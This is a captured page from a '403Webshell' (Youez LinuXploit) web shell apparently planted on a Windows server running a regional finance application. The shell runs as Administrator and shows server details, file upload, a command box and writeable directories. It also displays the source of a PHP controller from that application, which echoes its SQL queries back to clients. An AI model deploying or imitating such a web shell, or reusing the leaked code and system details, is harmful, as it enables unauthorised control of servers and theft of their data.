403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/wamp/www/sipkd_2016/application/modules/panjar/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/wamp/www/sipkd_2016/application/modules/panjar/controllers/panjar.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Panjar extends Aktivitas_Controller {

  public function __construct()
  {
    parent::__construct();
    $this->modul_name = 'panjar';
    $this->modul_display = 'Panjar';
    $this->view_form = 'panjar_form';
    $this->view_daftar = 'panjar_view';
    $this->report_daftar = 'Daftar Panjar';
    $this->report_form = 'Form Panjar';
    $this->load->model('panjar_model','data_model');

    $this->message_aktivitas_dihapus = 'Panjar telah dihapus.';
    $this->message_aktivitas_gagal_dihapus = 'Panjar telah dicairkan, tidak bisa dihapus.';
  }

  function validasi()
  {
    $this->form_validation->set_rules('id_keg', 'Kegiatan', 'required|trim|integer');
    $this->form_validation->set_rules('id_pekas', 'Akun Bendahara', 'required|trim|integer');
    $this->form_validation->set_rules('id_rek_pptk', 'Akun PPTK', 'required|trim|integer');

    $this->form_validation->set_rules('id', '', 'callback__cek_dependensi_sisa');
  }

  public function _cek_dependensi_sisa($id)
  {
    $mode = $this->input->post('mode') ? $this->input->post('mode') : '';
    if ($mode === 'edit')
    {
      $data = $this->data_model->get_aktivitas($id);
      $data['TANGGAL'] = $this->input->post('tgl') ? prepare_date($this->input->post('tgl')) : '0';
      $data['ID_REKENING_PEKAS'] = $this->input->post('id_rek_pekas') ? $this->input->post('id_rek_pekas') : '0';
    }
    else {
      $data['ID_AKTIVITAS'] = $id;
      $data['ID_SKPD'] = $this->input->post('id_skpd') ? $this->input->post('id_skpd') : '0';
      $data['TANGGAL'] = $this->input->post('tgl') ? prepare_date($this->input->post('tgl')) : '0';
      $data['ID_REKENING_PEKAS'] = $this->input->post('id_rek_pekas') ? $this->input->post('id_rek_pekas') : '0';
      $data['KEPERLUAN'] = $this->input->post('keperluan') ? $this->input->post('keperluan') : '';
      $data['ID_KEGIATAN'] = $this->input->post('id_keg') ? $this->input->post('id_keg') : '0';
    }

    $sisa_panjar = $this->data_model->check_dependency_sisa_panjar($data);
    $sisa_kas = $this->data_model->check_dependency_sisa_kas($data);
    
    $pesan = '';
    if (!$sisa_panjar) $pesan = "Sisa Panjar tidak memenuhi syarat.\n";
    if (!$sisa_kas) $pesan = "Sisa Kas tidak memenuhi syarat.\n";
    
    $this->form_validation->set_message('_cek_dependensi_sisa', $pesan);
    return $sisa_panjar && $sisa_kas;
  }

  public function sisa_kas()
  {
    $param = array(
      'id' => $this->input->post('id') ? $this->input->post('id') : 0,
      'id_skpd' => $this->input->post('id_skpd') ? $this->input->post('id_skpd') : 0,
      'tanggal' => $this->input->post('tgl') ? prepare_date($this->input->post('tgl')) : 0,
      'keperluan' => $this->input->post('keperluan') ? $this->input->post('keperluan') : '',
      'id_keg' => $this->input->post('id_keg') ? $this->input->post('id_keg') : '0',
      'id_rekening_pekas' => $this->input->post('pekas') ? $this->input->post('pekas') : 0,
    );

    $tunai = $this->data_model->get_sisa_kas_tunai($param);

    $response = (object) NULL;
    $response = array(
      'tunai' => isset($tunai['NOMINAL']) ? $tunai['NOMINAL'] : 0,
      'tunai_tgl' => isset($tunai['NOMINAL_TANGGAL']) ? $tunai['NOMINAL_TANGGAL'] : 0,
      'sql' => $this->db->queries,
    );
    echo json_encode($response);
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit